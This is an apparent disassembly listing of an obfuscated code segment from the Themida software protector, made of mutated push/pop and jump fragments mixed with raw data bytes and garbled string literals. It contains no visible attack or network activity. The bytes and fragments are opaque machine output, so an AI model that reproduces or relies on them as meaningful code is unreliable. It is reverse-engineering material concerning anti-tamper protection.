dd 24048904h, 53514EB0h, 0F988B8B7h, 0AEC1805Bh, 8CA7E9h
db 0
; ---------------------------------------------------------------------------
loc_551D95: ; CODE XREF: Themida_:0055C0B4j
mov eax, edx
jmp loc_55EB72
; ---------------------------------------------------------------------------
loc_551D9C: ; CODE XREF: Themida_:005548C6j
add edi, ebp
jmp loc_5568EF
; ---------------------------------------------------------------------------
loc_551DA3: ; CODE XREF: Themida_:0055EAA7j
xor ebx, edi
pop edi
add eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
mov [esp], edx
push eax
jmp loc_56009C
; ---------------------------------------------------------------------------
dw 15Fh
dd 148758C2h, 24248B24h, 18EDC381h, 0E9562C65h, 10AF7h
dd 54C6C581h, 0E94D47C4h, 0F0F3h, 0E781DFF7h, 78A52344h
dd 29F0CF81h, 2BE97BA7h
db 0F1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551DF3: ; CODE XREF: Themida_:0054FE55j
pop ecx
pop ecx
sub esp, 4
jmp loc_561C8B
; ---------------------------------------------------------------------------
dd 472F4D05h, 58C729DDh, 2AAEC781h, 0E2E9D615h
db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551E13: ; CODE XREF: Themida_:0055DF2Ej
mov [esp], ebp
sub esp, 4
mov [esp], esi
push ebx
jmp loc_55A052
; ---------------------------------------------------------------------------
dw 1489h
dd 2EFC6824h, 38E90000h, 89FFFFC8h, 0CABA2414h, 16D5843h
dd 1647E9D0h, 5A0000h, 0A876E9DEh, 88520000h, 0FB2FE9EAh
dd 0E830FFFFh, 8A6E9h, 2B86B800h, 0C1296B5Bh, 0C1D1F758h
dd 0F18108E9h, 0A65291h, 8159CF29h, 944A95C7h, 55CF0145h
dd 944A95BDh, 5DEF2945h, 8A15E9h, 0E7895700h, 4B85051h
dd 89000000h, 0EF8158C1h, 52CC4FA4h, 0C781CF01h, 52CC4FA4h
dd 4EF8159h, 87000000h, 895C243Ch, 4BE2434h, 81000000h
dd 5977C3C5h, 4D0CE969h, 815A0000h, 0F94807C5h, 0E7CBE914h
dd 0E95BFFFFh, 0BF57h, 0E9241C89h, 0A94Bh
; ---------------------------------------------------------------------------
loc_551ED4: ; CODE XREF: Themida_:0055EAD2j
or ecx, 3A893A13h
inc ecx
xor ecx, 7ACE4FF1h
shl ecx, 4
sub ecx, 0C4F6134Eh
or ebp, ecx
jmp loc_5562D2
; ---------------------------------------------------------------------------
db 89h, 0C6h, 58h
dd 515EF001h, 4A85EFB9h, 8BC829B6h, 0C483240Ch, 0E9C78904h
dd 314Ah
; ---------------------------------------------------------------------------
loc_551F0C: ; CODE XREF: Themida_:0055013Ej
add ebp, 8B3FF24h
mov ebx, ebp
pop ebp
jmp loc_557F6E
; ---------------------------------------------------------------------------
dw 0EE81h
dd 2C094247h, 3144C681h, 0CE012746h, 4D6CE9h, 5EE95800h
dd 83000096h, 95E904ECh, 8900007Ah, 5150241Ch, 5AE91AB5h
dd 5600007Bh, 6C65A2BEh, 93E94E47h, 5700004Dh, 0B31211BFh
dd 15F7814Fh, 14FB312h, 37F8E9FEh, 81580000h, 4ECh, 9B5AE900h
dd 14330000h, 24143124h, 8B241433h, 0D1E92424h, 52000095h
dd 0C680DFB6h, 0E962E9C5h, 0D0000000h, 4742E95Ah, 0BF570000h
dd 3D6C29F3h, 112CE9h, 40D0F700h, 1B8C272Dh, 8F7AE9BEh
dd 33590000h, 2C31242Ch, 242C3324h, 8924248Bh, 0EC83243Ch
dd 24248904h, 4240483h, 4C7815Fh, 52000000h, 468h, 0D7015A00h
dd 8324148Bh, 3C8704C4h, 34FF5C24h, 2434FF24h, 265F6858h
dd 34890000h, 4516824h, 42E90000h, 5900001Bh, 0EC81D800h
dd 2, 240C8966h, 0E9B5B050h, 2BFEh, 0BE56535Ah, 7B7F2DDAh
dd 7BD9BD55h, 0EE09091Dh, 89C6815Dh, 89A7348Ah, 0C3835EF3h
dd 874B4301h, 0EE50E9EBh, 14680000h, 0E900001Ch, 0EA85h
dd 0BB53FA01h, 42715864h, 577BE381h, 0C14B4BC5h, 0F38102EBh
dd 58334F3Eh, 815BDA01h, 3B5973C2h, 377E681Ch, 0FAE90000h
dd 420000F6h, 6426C281h, 37E9536Fh, 5600006Dh, 0C681E689h
dd 4, 4C681h, 34870000h, 76E95C24h, 83000105h, 0C8704E9h
dd 0E214E924h, 4BAFFFFh, 0E9000000h, 0F6D4h, 45FCE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5520AA: ; CODE XREF: Themida_:00551A61j
push 593Fh
mov [esp], eax
mov ah, bl
push ebx
mov bl, ah
mov cl, bl
jmp loc_54F3B4
; ---------------------------------------------------------------------------
dw 5057h
dd 2C779BB8h, 0B8505641h, 1DBA7173h, 0E0D1D0F7h, 92F13E05h
dd 0FE17E9B0h, 835DFFFFh, 0B3E904C4h
db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5520E3: ; CODE XREF: Themida_:00562808j
pop esp
push edi
mov edi, 15AD6F08h
add eax, edi
jmp loc_55D317
; ---------------------------------------------------------------------------
db 66h, 8Bh, 14h
dd 2C48324h, 0DBF28166h, 81665D04h, 0E9458FF2h, 0D313h
dd 207C99BDh, 0D933E958h, 48F0000h, 3C895C24h, 685F5424h
dd 0EC9h, 0B1B9E9h, 80EB0000h, 0C8BDFC3h, 4C48124h, 0F000000h
dd 2368C0B6h, 89000042h, 0E0892404h, 0A011E9h, 54C78100h
dd 8907E6B6h, 50E95FFAh, 0F600000Ch, 0D14E9D7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55215A: ; CODE XREF: Themida_:00551566j
add esi, ecx
mov ecx, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push 1C5Ch
mov [esp], ebx
jmp loc_561DFB
; ---------------------------------------------------------------------------
db 81h
dd 2040DC1h, 0E9CD8984h, 0EC9Bh, 27FE68h, 24048900h, 15F1E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552196: ; CODE XREF: Themida_:0055C463j
mov [esp], eax
jmp loc_553DEE
; ---------------------------------------------------------------------------
dw 0EF81h
dd 0F56BB5E7h, 315FFB89h, 31DD31EBh, 9149E9EBh, 0E95C0000h
dd 0DB32h, 4C481h, 95050000h, 167C118h, 5DA168D8h, 2C890000h
dd 0DAE7E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5521D2: ; CODE XREF: Themida_:0055CB47j
sub edx, 1
jmp loc_56158A
; ---------------------------------------------------------------------------
loc_5521DD: ; CODE XREF: Themida_:0055672Dj
mov edi, 44F724B4h
push ecx
push ebp
push 8F51332h
pop ebp
jmp loc_561D81
; ---------------------------------------------------------------------------
loc_5521EF: ; CODE XREF: Themida_:0055D226j
sub esp, 4
mov [esp], ecx
push 10000h
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
and eax, ecx
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5579D0
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0A927E9h, 16685100h, 5937D27Eh, 6CA3C981h, 0C1810C29h
dd 79405F3Eh, 0F877F181h, 0CD89E4EAh, 5FC58159h, 1744B58h
dd 0B846E9EBh, 5B540000h, 4C381h, 0EC830000h, 0BA7EE904h
dd 0C3FE0000h, 0E263E9h, 24348900h, 8904EC83h, 0F4B9240Ch
dd 814BA44Dh, 0DA26A2E9h, 0B0C1811Ch, 51D135D8h, 14240481h
dd 0E9014F27h, 83F8h, 0EE9C7FEh, 8900006Ah, 85E92414h
dd 830000BDh, 0E95304C4h, 0FFFFC6B4h
; ---------------------------------------------------------------------------
loc_5522A4: ; CODE XREF: Themida_:005500B4j
push 2276h
mov [esp], eax
push 24A63258h
push dword ptr [esp]
pop eax
add esp, 4
or eax, 6BAA2488h
xor eax, 0F165E7Eh
jmp loc_55090D
; ---------------------------------------------------------------------------
dw 0E989h
dd 0D0E9CA89h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5522D3: ; CODE XREF: Themida_:005572D0j
and eax, ecx
jmp loc_5619FD
; ---------------------------------------------------------------------------
dw 492Dh
dd 0E91C486Ch, 0FFFFCEF2h, 5224048Bh, 0C281E289h, 4, 4B850h
dd 0C2010000h, 0CCF0E958h, 0C481FFFFh, 4, 0C381CB01h, 529121D8h
dd 8904EC83h, 71BA2414h, 0C1620760h, 0DAF703EAh, 19E7C281h
dd 0D3015EFDh, 0E924148Bh, 29F7h, 5D04C483h, 148BD101h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54EB54
; ---------------------------------------------------------------------------
db 81h
dd 4C3h, 4C38100h, 83000000h, 0C8904ECh, 78BF6824h, 24890000h
dd 0A815E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552362: ; CODE XREF: Themida_:005612A5j
push ebp
mov ebp, 76452D26h
or ebp, 2205192Fh
or ebp, 691B103Fh
sub ebp, 7F5FC845h
mov edi, ebp
pop ebp
jmp loc_556493
; ---------------------------------------------------------------------------
loc_552382: ; CODE XREF: Themida_:005547E5j
push dword ptr [edi+eax*4]
push esi
mov esi, 3B3D0157h
jmp loc_55642D
; ---------------------------------------------------------------------------
dd 78E9FD01h, 0B80000FBh, 382D7F3Dh, 20FBE9h, 0EB815900h
dd 0F6C8D368h, 5C9BB951h, 0CA2935EBh, 81DA2959h, 0EB5C9BC2h
dd 0BEE95B35h
db 0DDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5523BF: ; CODE XREF: Themida_:005524A7j
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5592B3
; ---------------------------------------------------------------------------
loc_5523D5: ; CODE XREF: Themida_:0055DC25j
push edi
mov edi, 11EA5B8Bh
push ebp
mov ebp, 1
add edi, ebp
pop ebp
jmp loc_54EEE5
; ---------------------------------------------------------------------------
db 29h, 0FEh, 8Bh
dd 0C483243Ch, 56EE8104h, 1CB1AC9h, 0F4D4E9F0h, 68660000h
dd 89662D35h, 5551242Ch, 66DEE9h
db 0
; ---------------------------------------------------------------------------
loc_55240D: ; CODE XREF: Themida_:00560A15j
mov eax, [esp]
add esp, 4
sub eax, 78C471F0h
push ebx
jmp loc_5575FA
; ---------------------------------------------------------------------------
db 83h, 0C1h, 4
dd 5C240C87h, 34FFC701h, 24048B24h, 0FFEF79E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552435: ; CODE XREF: Themida_:0054EB01j
mov edx, 4DD836C4h
jmp loc_55EA33
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4C28100h, 87000000h, 535C2414h, 2BBh, 247EE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55245A: ; CODE XREF: Themida_:0054FA18j
mov edx, eax
pop eax
dec edx
jmp loc_55ACC1
; ---------------------------------------------------------------------------
db 89h
dd 74FF240Ch, 8F590424h, 248B2404h, 486E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552476: ; CODE XREF: Themida_:00554C29j
add ecx, 4
push edi
jmp loc_5540E7
; ---------------------------------------------------------------------------
dw 0C781h
dd 5BB44013h, 0E924148Bh, 2288h, 24048F5Dh, 0FCDFE9h, 52E95000h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55249F: ; CODE XREF: Themida_:0055FB67j
mov edx, [esp]
push 1B6Ch
jmp loc_5523BF
; ---------------------------------------------------------------------------
dd 0BB3EF681h, 0F701CCC2h, 0D9C7815Eh, 0FD395D22h, 48FD68h
dd 241C8900h, 8E7D92BBh, 0DBBAE94Ch, 4068FFFFh, 89000014h
dd 0FE92434h, 810000F3h, 4C4h, 2C28300h, 0E9241433h, 6990h
dd 8B24048Fh, 4E92424h
db 89h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5524F7: ; CODE XREF: Themida_:00553ACFj
pop esp
mov ecx, [esp]
add esp, 4
jmp loc_55885B
; ---------------------------------------------------------------------------
loc_552506: ; CODE XREF: Themida_:0056215Bj
mov edx, esp
add edx, 4
jmp loc_553D83
; ---------------------------------------------------------------------------
db 0BEh
dd 4, 835EF701h, 0E95704C7h, 7BC1h, 0BE3185BDh, 0E9C5316Eh
dd 37B1h, 56EEF581h, 0E829ADEDh, 1AE95E5Dh
db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55253F: ; CODE XREF: Themida_:0055863Bj
push ecx
jmp loc_55B61C
; ---------------------------------------------------------------------------
loc_552545: ; CODE XREF: Themida_:0055D5EBj
xchg ebp, [esp]
pop esp
add edx, 12F06D22h
add edx, ecx
sub edx, 12F06D22h
pop ecx
add esi, edx
pop edx
jmp loc_55E995
; ---------------------------------------------------------------------------
loc_552560: ; CODE XREF: Themida_:0055125Dj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], ecx
jmp loc_55EB4C
; ---------------------------------------------------------------------------
loc_552578: ; CODE XREF: Themida_:0054EA66j
push esp
pop ebx
jmp loc_55D4FE
; ---------------------------------------------------------------------------
loc_55257F: ; CODE XREF: Themida_:005606CAj
mov eax, 4
add ebx, eax
pop eax
push edi
push eax
mov eax, 49094376h
jmp loc_562303
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 2F8E6800h, 3C890000h, 46824h, 565F0000h, 14B4ABEh
dd 0E9F52908h, 0B2B3h, 452C5FBBh, 0E9DA2954h, 0EFC4h, 0E53FE95Ch
dd 0E9580000h, 1817h
; ---------------------------------------------------------------------------
loc_5525CC: ; CODE XREF: Themida_:00559AD8j
mov eax, [esp]
jmp loc_55CFCA
; ---------------------------------------------------------------------------
dd 730684BDh, 8BE80178h, 8951242Ch, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 0D6B9515Ch, 2930A41Ah, 5C2D59C8h, 134D84Eh
dd 4E5C05C8h, 0D60534D8h, 2D30A41Ah, 78730684h, 592434FFh
dd 4EC81h, 14890000h, 815A5424h, 4C2h, 0D978E900h, 0EB010000h
dd 83242C8Bh, 1C3304C4h, 241C3124h, 0E9241C33h, 0FFFFF555h
dd 24048B66h, 388B68h, 0FE5E900h, 33680000h, 8900001Eh
dd 4682434h, 5E000000h, 407CE981h, 0FE95DD0h, 1000004h
dd 79E52DC8h, 21E9540Ah, 10000A5h, 81F8E9FEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55267A: ; CODE XREF: Themida_:00557A3Bj
add ecx, 4
jmp loc_555462
; ---------------------------------------------------------------------------
loc_552685: ; CODE XREF: Themida_:00553D8Dj
pop esp
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_559168
; ---------------------------------------------------------------------------
loc_552696: ; CODE XREF: Themida_:00553AE0j
add esp, 4
push edi
mov edi, 4
add ecx, edi
mov edi, [esp]
add esp, 4
push 4C9Fh
jmp loc_561536
; ---------------------------------------------------------------------------
db 80h, 0EAh, 0F3h
dd offset dword_5464D4+15h
db 0
; ---------------------------------------------------------------------------
loc_5526B9: ; CODE XREF: Themida_:00550DCDj
mov [esp], ecx
mov cl, 0E0h
add bl, 93h
add bl, cl
jmp loc_553402
; ---------------------------------------------------------------------------
dd 159CB31h, 241C8BDAh, 0E0D5E9h, 24C4B800h, 0ECE9672Eh
dd 5100004Fh, 0EA68E9h, 4E88300h, 0E9240433h, 0B868h, 405h
dd 0E7E95600h, 590000D4h, 8058C130h, 0CB00C1C3h, 8EE95166h
db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55270B: ; CODE XREF: Themida_:00556C36j
pop edi
sub ecx, 16FA38D3h
add ecx, 11886A72h
add ecx, ebp
sub ecx, 11886A72h
add ecx, 16FA38D3h
pop ebp
jmp loc_555889
; ---------------------------------------------------------------------------
aIussq db '‰ã鑟',0
dw 5000h
dd 853BE9h, 24348900h, 56E9E689h, 890000F7h, 58542404h
dd 405h, 42D00h, 0E9500000h, 0FFFFD296h, 0CE2F0DBBh, 9301E96Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552762: ; CODE XREF: Themida_:0054F278j
push edx
mov edx, 4
add ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_552ECE
; ---------------------------------------------------------------------------
dd 3B53F281h, 0F2813804h, 0F6DE971Fh, 15AD529h, 9EC581C5h
dd 815BBE7Ch, 0D63297C5h, 24048B42h, 81E38953h, 4C3h, 4C38300h
dd 0ABB5E953h, 0E95A0000h, 0D573h
; ---------------------------------------------------------------------------
loc_5527B0: ; CODE XREF: Themida_:00561AC0j
pop ecx
jmp loc_552CA8
; ---------------------------------------------------------------------------
loc_5527B6: ; CODE XREF: Themida_:00554635j
pop ebx
jmp loc_554ECE
; ---------------------------------------------------------------------------
loc_5527BC: ; CODE XREF: Themida_:0055B08Ej
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_560162
; ---------------------------------------------------------------------------
db 5Bh
dd 148BD529h, 4C48324h, 100E6E9h, 0CACD8000h, 0EC83DDF6h
dd 241C8904h, 0E9FEB3h
db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5527EF: ; CODE XREF: Themida_:0054F9A1j
mov [esp], esi
sub esp, 4
mov [esp], ebx
push eax
push 1EE235CFh
pop eax
jmp loc_54FDCB
; ---------------------------------------------------------------------------
dd 58C7B951h, 0EC8160A6h, 4, 0B8240489h, 1, 8158C101h
dd 6D6334C1h, 7E9C14Ah, 4104E9C1h, 8904EC83h, 0A2E92404h
dd 8BFFFFFEh, 9662424h, 0E99C2404h, 0C88Fh, 0BBF57ADh
dd 81746D5Dh, 3067D4F7h, 26A42D28h, 0F8296F08h, 826A405h
dd 692D5F6Fh, 2D532C6Eh, 37272D1Eh, 1E05D801h, 6837272Dh
dd 4D12h, 0BF243C89h, 532C6E69h, 752B3F05h, 9EE95708h
dd 0FFFFE1h, 0C6EBE9D8h, 0F281FFFFh, 278E0A69h, 106AF281h
dd 5EE993A6h, 950000FAh, 75E9D5F7h
db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5528A3: ; CODE XREF: Themida_:00555F1Bj
add edi, eax
mov eax, [esp]
add esp, 4
jmp loc_556D3C
; ---------------------------------------------------------------------------
db 5
dd 210A4120h, 0B7E9D801h, 4F000032h, 5F5E5756h, 8104E6C1h
dd 4E1735EEh, 5EF02903h, 9CEB815Fh, 551B2F73h, 3773D1BDh
dd 6DB95113h, 816A5159h, 75374DE9h, 5CC1811Fh, 81E0B74Eh
dd 0D00BCFEDh, 0E9CD014Fh, 0FFFFC8A6h, 9CC83B66h, 0FFB4C0E9h
dd 814F5FFFh, 7A3F97F7h, 0C1F4E90Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552912: ; CODE XREF: Themida_:0055615Cj
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_555563
; ---------------------------------------------------------------------------
aS_6 db '±^éú',0
align 4
loc_552928: ; CODE XREF: Themida_:0055AAEEj
push 5C2h
jmp loc_5570A9
; ---------------------------------------------------------------------------
dw 248Bh
dd 0B48BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55293A: ; CODE XREF: Themida_:0055E46Cj
xor al, bl
pop ebx
sub bl, al
jmp loc_55E3AC
; ---------------------------------------------------------------------------
aB3Zsvo db 'Æ+3×Zé¢O',0
dw 0C100h
dd 0BF5707E9h, 4F100556h, 8FFEF81h, 81472D13h, 0B48485EFh
dd 5FF92110h, 0E831C181h, 0CA293273h, 0ED10E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552976: ; CODE XREF: Themida_:00556498j
mov edi, [esp]
add esp, 4
push 27BEh
jmp loc_55B9C2
; ---------------------------------------------------------------------------
db 5Ch, 30h, 0C3h
dd 8FC0B60Fh, 2EE98704h
db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552997: ; CODE XREF: Themida_:0054FED1j
push 665h
mov [esp], eax
push esp
pop eax
jmp loc_55FD8E
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24248904h, 4240483h, 582434FFh, 3CFAE9h
db 0
; ---------------------------------------------------------------------------
loc_5529B9: ; CODE XREF: Themida_:00558873j
add dword ptr [esp], 340B06D8h
jmp loc_55BED1
; ---------------------------------------------------------------------------
db 0C0h, 0EEh, 4
dd 800BC680h, 0F108B1EEh, 8324148Bh, 0E98004C4h, 0D0E95027h
dd 810000D5h, 816597E9h, 4EC8333h, 0BA241489h, 5C82020Ah
dd 0C9F0E9h, 24048100h, 2D8841BCh, 0FFB3C4E9h, 9B168FFh
dd 1C890000h, 47E95424h
db 0EBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552A0F: ; CODE XREF: Themida_:0055696Dj
pop edx
push 6BB4h
mov [esp], edi
push ebp
mov ebp, esi
mov edi, ebp
pop ebp
mov ecx, edi
mov edi, [esp]
push ebx
jmp loc_5517C4
; ---------------------------------------------------------------------------
aCQsaj db 'Áç',7,'Q逦',0
align 2
dw 0C981h
dd 51FA40ABh, 6C40F181h, 0CF296A6Dh, 0D6E95259h, 8B0000CEh
dd 0F1F62424h, 0CCB60F66h, 6FA468h, 24148900h, 0FFC4DDE9h
dd 53E589FFh, 468h, 90E95B00h, 810000E4h, 4C4h, 0E150E900h
dd 0F1290000h, 4514E9h, 0FF505F00h, 58042474h, 5C24048Fh
dd 0BD242C89h, 7F24827h, 0F61BF57h, 48E92FFAh, 1000012h
dd 0EB015FFBh, 4326EB81h, 525D475Ah, 0B951C688h, 0
dd 3E93E9h
db 0
; ---------------------------------------------------------------------------
loc_552AB5: ; CODE XREF: Themida_:0055E653j
xor [esp], esi
xor esi, [esp]
pop esp
push edi
mov edi, 7D393F1Ah
sub edi, 2DD04F3Eh
or edi, 17221EAEh
sub edi, 5961C5Ch
add edi, 0DF0D2E07h
or ecx, edi
mov edi, [esp]
add esp, 4
shr ecx, 8
sub ecx, 3DFE93h
and eax, ecx
jmp loc_55A654
; ---------------------------------------------------------------------------
loc_552AF2: ; CODE XREF: Themida_:0055574Fj
push ebp
mov ebp, 6B3C23BBh
shl ebp, 4
jmp loc_54E02F
; ---------------------------------------------------------------------------
dd 0F261BF25h, 4A202D5Bh, 0C281EBDBh, 7EC9696Ah, 6C68C229h
dd 89000064h, 6ABE2434h, 297EC969h, 6E95EF2h
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552B27: ; CODE XREF: Themida_:0055F646j
pop ecx
sub esp, 4
mov [esp], eax
jmp loc_55A983
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 81E78957h, 4C7h, 0DF90E900h, 0CA800000h, 0A3B753FEh
dd 0E7C0CFFEh, 52D7F608h, 0E6C00EB6h, 0CCC68002h, 0E945E680h
dd 0FFFFC77Bh, 0C108E3C1h, 0E3D107E3h, 73CB814Bh, 5166B52Ch
dd 0FDFFFBB9h, 59CB2976h, 15BD889h, 2434FFC2h, 4EC8358h
dd 54241C89h, 0A1FEE95Bh, 14870000h, 0C6815C24h, 4, 0E9243487h
dd 0FFFFFDE1h, 5C243487h, 3142E9h, 0EA815A00h, 7E386E89h
dd 0C281FA01h, 7E386E89h, 6CEDE9h, 7A686600h, 4896665h
dd 0BE665624h, 0B86634A4h, 0A8E94108h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552BDB: ; CODE XREF: Themida_:00560958j
pop ecx
push esi
mov esi, 476B219Fh
sub edx, esi
jmp loc_55B693
; ---------------------------------------------------------------------------
db 83h, 0C1h, 2
dd 12AE951h, 0E9AD0000h, 834Fh, 4BF57h, 212D0000h, 17DE175h
dd 752105F8h, 9DE97DE1h, 0FFFFFFE1h, 55E92434h, 0BE0000A1h
dd 1969294Fh, 15EF201h, 4FEA81C2h, 8B196929h, 0C4832404h
dd 5B976804h, 14890000h, 2474FF24h, 2C08E904h, 0F5210000h
dd 1842685Eh, 34890000h, 50E95524h, 0FFFFF0h, 285A66F0h
dd 2A6866F0h, 0CE66E938h, 815DFFFFh, 0D4E3D4C6h, 2A3A2DE3h
dd 0F02915D8h, 0D82A3A05h, 26F5E915h, 1C8B0000h, 4C48324h
dd 0FFD16AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552C81: ; CODE XREF: Themida_:0055B994j
add ebp, 4
add ebp, 4
push 2FDDh
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_54EB11
; ---------------------------------------------------------------------------
loc_552CA8: ; CODE XREF: Themida_:005527B1j
sub edi, 303C1A23h
add edi, 62627BCEh
sub edi, 29DF2889h
jmp loc_554A39
; ---------------------------------------------------------------------------
loc_552CBF: ; CODE XREF: Themida_:005537EAj
add eax, edi
jmp loc_55B924
; ---------------------------------------------------------------------------
loc_552CC6: ; CODE XREF: Themida_:0055886Dj
sub ch, bh
pop ebx
jmp loc_55EAAC
; ---------------------------------------------------------------------------
aSpsgr db 'SPé£r',0
dd 0A9E95E00h, 0B7000012h, 0F471E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552CE2: ; CODE XREF: Themida_:00562432j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push ebp
push 5929h
jmp loc_559769
; ---------------------------------------------------------------------------
db 0C1h
dd 882D07E8h, 4020D079h, 0E07B0A05h, 4175E91Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552D0A: ; CODE XREF: Themida_:005622A7j
mov esp, [esp]
jmp loc_55A3FE
; ---------------------------------------------------------------------------
dw 68B9h
dd 0E922BB29h, 0FFFFFD16h, 6B84E954h, 89500000h, 40FE9E0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552D2A: ; CODE XREF: Themida_:00553416j
dec esi
add esi, 0B69A8A6Ah
and edx, esi
pop esi
add edx, 644A366Ch
shr edx, 6
add edx, 0DFFC41Bh
or ebx, edx
mov edx, [esp]
add esp, 4
xor ebx, 233BE7F0h
jmp loc_554C3F
; ---------------------------------------------------------------------------
loc_552D56: ; CODE XREF: Themida_:0055647Bj
pop ebp
shr ecx, 7
dec ecx
jmp loc_5543A4
; ---------------------------------------------------------------------------
dd 0E91C6F09h, 1717h, 0C581E589h, 4, 4C581h, 2C870000h
dd 24248B24h, 31243C33h, 3C33243Ch, 0B33BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552D8A: ; CODE XREF: Themida_:005593C6j
pop edi
add eax, edx
add eax, 1B45622Dh
jmp loc_55E79E
; ---------------------------------------------------------------------------
aQphp?mSgp db 'QPh?¬=ég',0
dw 8100h
dd 9D1FAFE2h, 5EAC143h, 6260CA81h, 0C2813E90h, 0C16B959Fh
dd 73E5E981h, 0D0E94B7Eh
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552DC3: ; CODE XREF: Themida_:0055E358j
add bl, ah
jmp loc_555512
; ---------------------------------------------------------------------------
dw 0F581h
dd 0DE83E2B5h, 5E5DE801h, 805D801h, 6859D250h, 487Eh, 2108E9h
dd 24348900h, 0B79BB53h, 57E925A0h
db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552DF3: ; CODE XREF: Themida_:0056092Dj
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_553AC6
; ---------------------------------------------------------------------------
loc_552E03: ; CODE XREF: Themida_:00561162j
pop edi
neg ebp
jmp loc_55031C
; ---------------------------------------------------------------------------
loc_552E0B: ; CODE XREF: Themida_:00558D64j
push dword ptr [esp]
push dword ptr [esp]
pop eax
push 58CDh
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push ebx
mov ebx, esp
push eax
mov eax, 19D62E8h
inc eax
add eax, 19F43349h
dec eax
shr eax, 8
xor eax, 1B9192h
jmp loc_56018B
; ---------------------------------------------------------------------------
loc_552E47: ; CODE XREF: Themida_:00556FCFj
add esi, ecx
pop ecx
add esi, 4
jmp loc_550209
; ---------------------------------------------------------------------------
dw 0D5F6h
dd 8059EE88h, 0B1516EC6h, 3FC98043h, 0C0EAE180h, 0E18005E9h
dd 0C7A1E9B5h, 50660000h, 0C708FBB0h, 0D7F65866h, 0FFE270E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552E7D: ; CODE XREF: Themida_:0054E589j
xchg ebx, [esp]
pop ebx
push ecx
mov ecx, 54645B12h
and ebx, ecx
pop ecx
push edi
mov edi, 0
sub edi, ebx
xchg edi, ebx
pop edi
push ebx
dec dword ptr [esp]
pop ebx
push ecx
jmp loc_553C4D
; ---------------------------------------------------------------------------
dd 68241489h, 69693071h, 1A2DB85Ah, 0D001ED6Ah, 0CB4CE9h
db 0
; ---------------------------------------------------------------------------
loc_552EB5: ; CODE XREF: Themida_:0055FF77j
push dword ptr [esp+4]
jmp loc_556D6A
; ---------------------------------------------------------------------------
dw 77FFh
dd 59669D1Ch, 2414D366h, 0AEF7E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552ECE: ; CODE XREF: Themida_:00552773j
add ebx, 4
xchg ebx, [esp]
jmp loc_562661
; ---------------------------------------------------------------------------
db 0F6h, 0DDh, 52h
dd 0D528E0B2h, 0B7CEE95Ah, 0EE80FFFFh, 5AF1002Dh, 0B46E9h
dd 51EAB800h, 0D0F74C2Fh, 0E902E8C1h, 0AE51h
; ---------------------------------------------------------------------------
loc_552F00: ; CODE XREF: Themida_:00550B5Ej
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_551B3E
; ---------------------------------------------------------------------------
db 1
dd 0ACE957F3h, 2900007Fh, 8B042474h, 0C4812434h, 4, 8904EC83h
